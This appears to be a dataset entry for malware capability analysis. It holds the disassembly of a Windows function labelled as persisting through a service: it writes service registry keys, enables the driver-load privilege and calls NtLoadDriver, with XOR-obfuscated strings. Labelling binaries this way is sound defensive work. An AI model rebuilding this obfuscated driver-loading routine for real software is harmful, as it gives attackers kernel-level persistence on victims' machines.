Function at 0x140015150
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x250
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14005b080]
xor rax, rsp
mov qword [rbp + 0x130], rax
mov r14, rcx
xor esi, esi
mov rcx, qword [rcx + 0x10]
mov rax, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x1400151a1
mov rax, qword [r14]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rcx
call fcn.140018fe4
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea r8, [rbp + 0x90]
mov edx, eax
lea rcx, [rsp + 0x60]
call fcn.140014ed0
nop
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x70]
lea rdi, [rcx + rax*2]
mov rbx, rdi
mov rdx, rdi
call fcn.140015040
cmp rax, rdi
je 0x14001523b
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x140015210
cmp cx, 0x2f
jne 0x140015219
add rax, 2
cmp rax, rdi
jne 0x140015201
cmp rax, rdi
je 0x14001523b
nop
lea rdx, [rbx - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x14001523b
cmp cx, 0x2f
je 0x14001523b
mov rbx, rdx
cmp rax, rdx
jne 0x140015220
sub rdi, rbx
sar rdi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
mov r8, rdi
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.14000b950
nop
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.14000ee90
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x1400152b5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400152b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015dd6
call fcn.140019670
movdqa xmm0, xmmword [0x140053870]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], si
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140015312
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015305
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015ddc
call fcn.140019670
movdqa xmm0, xmmword [0x140053870]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], si
mov r13, qword [rbp + 0x70]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x22
jb 0x140015de2
lea r12, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova r12, qword [rbp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
lea r15, [r13 + 0x22]
mov ebx, 0xf
mov edi, ebx
lea rsi, [rbp + 0x40]
movabs rax, 0x8000000000000000
mov edx, 0x16
cmp r15, rbx
jbe 0x1400153e4
mov rdi, r15
or rdi, rbx
cmp rdi, rcx
jbe 0x1400153ac
mov rdi, rcx
add rax, 0x27
mov rcx, rax
call fcn.140019a40
test rax, rax
je 0x140015e00
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400153e0
cmp rdi, rdx
cmovb rdi, rdx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1400153c0
xor esi, esi
jmp 0x1400153e0
cmp rcx, 0x1000
jb 0x1400153d8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140015dca
jmp 0x14001538d
call fcn.140019a40
mov rsi, rax
mov qword [rbp + 0x40], rsi
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], rdi
movups xmm0, xmmword [str.SYSTEMCurrentControlSetServices_]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [0x140053788]
movups xmmword [rsi + 0x10], xmm1
movzx eax, word [0x140053798]
mov word [rsi + 0x20], ax
lea rcx, [rsi + 0x22]
mov r8, r13
mov rdx, r12
call fcn.14003cab0
mov byte [rsi + r15], 0
mov r15, qword [r14 + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 4
jb 0x140015de8
cmp qword [r14 + 0x18], 0xf
jbe 0x140015448
mov r14, qword [r14]
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
lea rsi, [r15 + 4]
lea rdi, [rbp + 0x20]
cmp rsi, 0xf
jbe 0x1400154df
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400154a1
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140019a40
test rax, rax
je 0x140015dee
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400154db
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400154bb
xor edi, edi
jmp 0x1400154db
cmp rcx, 0x1000
jb 0x1400154d3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140015dd0
jmp 0x140015482
call fcn.140019a40
mov rdi, rax
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], rbx
mov dword [rdi], 0x5c3f3f5c
lea rcx, [rdi + 4]
mov r8, r15
mov rdx, r14
call fcn.14003cab0
mov byte [rdi + rsi], 0
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rdx, qword [rbp + 0x40]
lea r8, [rbp - 0x10]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1400156e2
movabs rax, 0xca8114c5461e09c5
mov qword [rbp + 0x90], rax
movabs rax, 0x64936260cc129ba2
mov qword [rbp + 0x98], rax
movabs rax, 0x7e44bbef219d1c47
mov qword [rbp + 0xa0], rax
movabs rax, 0xd94657ba90eab1ec
mov qword [rbp + 0xa8], rax
movabs rax, 0xedef75866643249e
mov qword [rsp + 0x30], rax
movabs rax, 0x1e70305be71bbd6
mov qword [rsp + 0x38], rax
movabs rax, 0x1b27d29953f86f67
mov qword [rsp + 0x40], rax
movabs rax, 0xd94657b0e98fdacc
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x40], xmm1
lea rcx, [rsp + 0x30]
call fcn.140001280
xor bl, bl
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140015612
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001560d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015dee
call fcn.140019670
movdqa xmm0, xmmword [0x140053880]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140015666
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015659
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015e00
call fcn.140019670
movdqa xmm0, xmmword [0x140053880]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x1400156aa
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400156a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015dc4
call fcn.140019670
movzx eax, bl
mov rcx, qword [rbp + 0x130]
xor rcx, rsp
call fcn.140019650
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rcx, qword [rbp + 0x20]
mov eax, dword [rbp + 0x30]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 2
lea r8, str.ImagePath
xor edx, edx
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
mov rcx, qword [rbp - 0x10]
test eax, eax
je 0x140015827
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movabs rax, 0xca8114c5461e09c5
mov qword [rbp + 0x90], rax
movabs rax, 0x64936260cc129ba2
mov qword [rbp + 0x98], rax
movabs rax, 0x7e44bbef219d1c47
mov qword [rbp + 0xa0], rax
movabs rax, 0xd94657ba90eab1ec
mov qword [rbp + 0xa8], rax
movabs rax, 0x6643fd61ccccd1a9
mov qword [rbp + 0xb0], rax
movabs rcx, 0xc8afab9ccae9e2d6
movabs rax, 0xedef75866643249e
mov qword [rsp + 0x30], rax
movabs rax, 0x1e70305be71bbd6
mov qword [rsp + 0x38], rax
movabs rax, 0x2e21dc8e4cd43b67
mov qword [rsp + 0x40], rax
movabs rax, 0xbe23259ab782c58d
mov qword [rsp + 0x48], rax
movabs rax, 0x735dd18beb8a2c0
mov qword [rsp + 0x50], rax
movabs rax, 0xc8afab9cc08c97ba
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xb8], rcx
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x40], xmm1
xorps xmm2, xmmword [rbp + 0xb0]
movdqa xmmword [rsp + 0x50], xmm2
lea rcx, [rsp + 0x30]
jmp 0x1400155d0
mov dword [rsp + 0x28], 4
lea rax, [0x140053860]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, str.Type
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
mov rcx, qword [rbp - 0x10]
test eax, eax
je 0x140015916
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movabs rax, 0xca8114c5461e09c5
mov qword [rbp + 0x90], rax
movabs rax, 0x64936260cc129ba2
mov qword [rbp + 0x98], rax
movabs rax, 0x7e44bbef219d1c47
mov qword [rbp + 0xa0], rax
movabs rax, 0xd94657ba90eab1ec
mov qword [rbp + 0xa8], rax
movabs rax, 0x6643fd61ccccd1a9
mov qword [rbp + 0xb0], rax
movabs rcx, 0xc8afab9ccae9e2d6
movabs rax, 0xedef75866643249e
mov qword [rsp + 0x30], rax
movabs rax, 0x1e70305be71bbd6
mov qword [rsp + 0x38], rax
movabs rax, 0x5e63de9f58c93b67
mov qword [rsp + 0x40], rax
movabs rax, 0xa03423c9f98dd49e
mov qword [rsp + 0x48], rax
movabs rax, 0x66499814a0ada789
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
jmp 0x1400157e0
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x14004ad88]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
je 0x1400155d5
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.NtLoadDriver
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp - 8]
xor r8d, r8d
mov dl, 1
mov ecx, 0xa
call rbx
test eax, eax
jns 0x140015b94
movabs rax, 0xca8114c5461e09c5
mov qword [rbp + 0xc0], rax
movabs rax, 0x64936260cc129ba2
mov qword [rbp + 0xc8], rax
movabs rax, 0x7e44bbef219d1c47
mov qword [rbp + 0xd0], rax
movabs rax, 0xd94657ba90eab1ec
mov qword [rbp + 0xd8], rax
movabs rax, 0x6643fd61ccccd1a9
mov qword [rbp + 0xe0], rax
movabs rcx, 0xc8afab9ccae9e2d6
mov qword [rbp + 0xe8], rcx
movabs rax, 0x9013edeb2562984b
mov qword [rbp + 0xf0], rax
movabs rax, 0x299d6fe6fda7d940
mov qword [rbp + 0xf8], rax
movabs rax, 0x7aa6da1db124010d
mov qword [rbp + 0x100], rax
movabs rax, 0xf6e9985884ac13ea
mov qword [rbp + 0x108], rax
movabs rax, 0x537e4ce7905b26cf
mov qword [rbp + 0x110], rax
movabs rax, 0xa7ffa87275dbecd4
mov qword [rbp + 0x118], rax
movabs rax, 0x290d1ff9c9af1071
mov qword [rbp + 0x120], rax
movabs rcx, 0x29928174e9ae423e
mov qword [rbp + 0x128], rcx
movabs rax, 0xb8e434a9276a6883
mov qword [rbp - 0x80], rax
movabs rax, 0xdf20440f660f4d0
mov qword [rbp - 0x78], rax
movabs rax, 0x1f64d49b01f9792b
mov qword [rbp - 0x70], rax
movabs rax, 0x8a6632c8f99fc08f
mov qword [rbp - 0x68], rax
movabs rax, 0x221cb92083808eec
mov qword [rbp - 0x60], rax
movabs rax, 0x9afff4ce8fbfab84
mov qword [rbp - 0x58], rax
movabs rax, 0xbe56aaae692bce02
mov qword [rbp - 0x50], rax
movabs rax, 0x5cee4f8396c69460
mov qword [rbp - 0x48], rax
movabs rax, 0x1b86af72c804647f
mov qword [rbp - 0x40], rax
movabs rax, 0x9f87f62df68c7698
mov qword [rbp - 0x38], rax
movabs rax, 0x371f6c94f17b41a1
mov qword [rbp - 0x30], rax
movabs rax, 0xc68ddc011cb585b9
mov qword [rbp - 0x28], rax
movabs rax, 0x290d1ff3e7dd7f05
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rcx
movups xmm0, xmmword [rbp - 0x80]
movups xmm1, xmmword [rbp - 0x70]
movups xmm2, xmmword [rbp - 0x60]
movups xmm3, xmmword [rbp - 0x50]
movups xmm4, xmmword [rbp - 0x40]
movups xmm5, xmmword [rbp - 0x30]
movups xmm6, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp - 0x80], xmm0
xorps xmm1, xmmword [rbp + 0xd0]
movdqa xmmword [rbp - 0x70], xmm1
xorps xmm2, xmmword [rbp + 0xe0]
movdqa xmmword [rbp - 0x60], xmm2
xorps xmm3, xmmword [rbp + 0xf0]
movdqa xmmword [rbp - 0x50], xmm3
xorps xmm4, xmmword [rbp + 0x100]
movdqa xmmword [rbp - 0x40], xmm4
xorps xmm5, xmmword [rbp + 0x110]
movdqa xmmword [rbp - 0x30], xmm5
xorps xmm6, xmmword [rbp + 0x120]
movdqa xmmword [rbp - 0x20], xmm6
lea rcx, [rbp - 0x80]
jmp 0x1400155d0
lea r8, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova r8, qword [rbp + 0x60]
add r8, qword [rbp + 0x70]
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rdx, qword [rbp + 0x60]
lea rcx, [rbp]
call fcn.140016300
nop
lea r8, [rbp]
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rsp + 0x30]
call fcn.14000b270
mov rbx, rax
lea rax, [rbp]
cmp rax, rbx
je 0x140015c52
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x140015c1f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015c1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015df4
call fcn.140019670
movdqa xmm0, xmmword [0x140053870]
movdqu xmmword [rbp + 0x10], xmm0
xor esi, esi
mov word [rbp], si
movups xmm0, xmmword [rbx]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 7
mov word [rbx], si
jmp 0x140015c54
xor esi, esi
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140015c96
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015c91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015df4
call fcn.140019670
lea rdx, [rbp]
cmp qword [rbp + 0x18], 7
cmova rdx, qword [rbp]
lea rcx, [rbp + 0x80]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp + 0x80]
call rdi
mov ebx, eax
movabs rax, 0xca8114c5461e09c5
mov qword [rbp + 0x90], rax
movabs rax, 0x64936260cc129ba2
mov qword [rbp + 0x98], rax
movabs rax, 0x7e44bbef219d1c47
mov qword [rbp + 0xa0], rax
movabs rax, 0xd94657ba90eab1ec
mov qword [rbp + 0xa8], rax
movabs rax, 0xa5cd608b6643229e
mov qword [rsp + 0x30], rax
movabs rax, 0x16f61409be56ffc3
mov qword [rsp + 0x38], rax
movabs rax, 0x5e37ce9b40e94f67
mov qword [rsp + 0x40], rax
movabs rax, 0xd9465dc2fccfc9dc
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rsp + 0x40], xmm1
mov edx, ebx
lea rcx, [rsp + 0x30]
call fcn.140001280
shr ebx, 0x1f
xor bl, 1
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x140015dae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015da9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015dfa
call fcn.140019670
movdqa xmm0, xmmword [0x140053870]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], si
jmp 0x1400155d7
call fcn.1400226a4
nop
call fcn.140001ca0
nop
call fcn.140001ca0
nop
call fcn.1400226a4
nop
call fcn.1400226a4
int3
call fcn.140001d40
nop
call fcn.140001d40
int3
call fcn.1400226a4
nop
call fcn.1400226a4
nop
call fcn.1400226a4
nop
call fcn.1400226a4
int3